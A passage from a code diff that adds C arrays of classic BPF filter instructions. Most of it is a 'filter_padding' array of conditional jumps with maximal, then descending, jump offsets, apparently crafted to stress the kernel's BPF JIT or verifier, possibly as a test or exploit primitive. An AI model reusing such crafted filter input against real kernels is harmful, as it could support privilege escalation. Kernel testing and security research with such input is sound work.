0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, +}; + +struct sock_filter filter_padding[] = { + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xef, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xee, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xed, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xec, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xeb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xea, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xde, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xda, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xce, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xca, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xba, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xae, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xad, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xac, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xab, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x99, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x98, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x97, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x96, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x95, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x94, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x93, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x92, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x91, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x90, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x89, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x88, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x87, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x86, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x85, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x84, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x83, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x82, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x81, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x80, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x79, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x78, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x77, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x76, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x75, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x74, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x73, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x72, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x71, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x70, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x69, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x68, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x67, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x66, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x65, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x64, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x63, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x62, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x61, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x60, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x5e, .jf = 0x00 }, + { .k 